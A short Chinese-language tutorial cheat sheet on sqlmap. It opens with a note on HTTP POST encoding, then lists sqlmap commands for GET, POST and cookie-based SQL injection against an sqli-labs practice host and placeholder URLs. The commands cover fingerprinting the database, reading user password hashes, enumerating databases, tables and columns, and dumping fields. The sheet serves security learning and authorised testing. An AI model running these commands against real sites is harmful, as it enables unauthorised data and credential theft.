sqlmap命令及引數常規操作
HTTP協議規定post提交的資料必須放在訊息主體(entity-body)中,但協議沒有規定資料必須使用什麼編碼方式。HTTP協議是以ASCII碼傳輸,建立再TCP/IP協議之上的應用層規範。HTTP請求分為3個部分:狀態行、請求頭和訊息主體。類似於:
服務端通常是根據請求頭(header)中的Content_Type欄位來獲取請求中的訊息主體是用何種方式編碼,再對訊息主體進行解析。
SQLmap常規操作
GET形式
Python sqlmap.py -u “http://–url地址–/index.php?id=1” //注入判斷-u:URL地址引數
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-1/index.php?id=1” --banner //檢視資料庫版本
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --current-user //當前使用者
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --password //查詢資料庫使用者密碼
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --dbs //檢視所有的資料庫
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --current-db //檢視當前的資料庫
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --tables //檢視所有的表
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --tables -D A //檢視A庫下的所有表
Python sqlmap.py -u “http://–url地址–/index.php?id=1” --columns -D A -T B //查詢A庫B表下的所有列
Python sqlmap.py -u “http://–url地址–/index.php?id=1” -C “E,F” -D A -T B //匯出欄位裡的內容
——POST形式——
Python sqlmap.py -u “http://–url–/” --data “uname=123&passwd=123&submit=Submit” //指定頁面的POST注入
Python sqlmap.py -r “絕對路徑\檔名” --level 3
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-20/index.php” --cookie=“uname=admin” --level 2 //檢測指定cookie欄位進行注入
Python sqlmap.py -r “絕對路徑\檔名.txt”–level 2 //檢測檔案內cookie欄位進行注入
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-20/index.php” --cookie=“uname=admin” --dbs --level 2
python sqlmap.py -u “http://192.168.0.141/sqli-labs/Less-1/index.php?id=1” --hostname //檢視主機名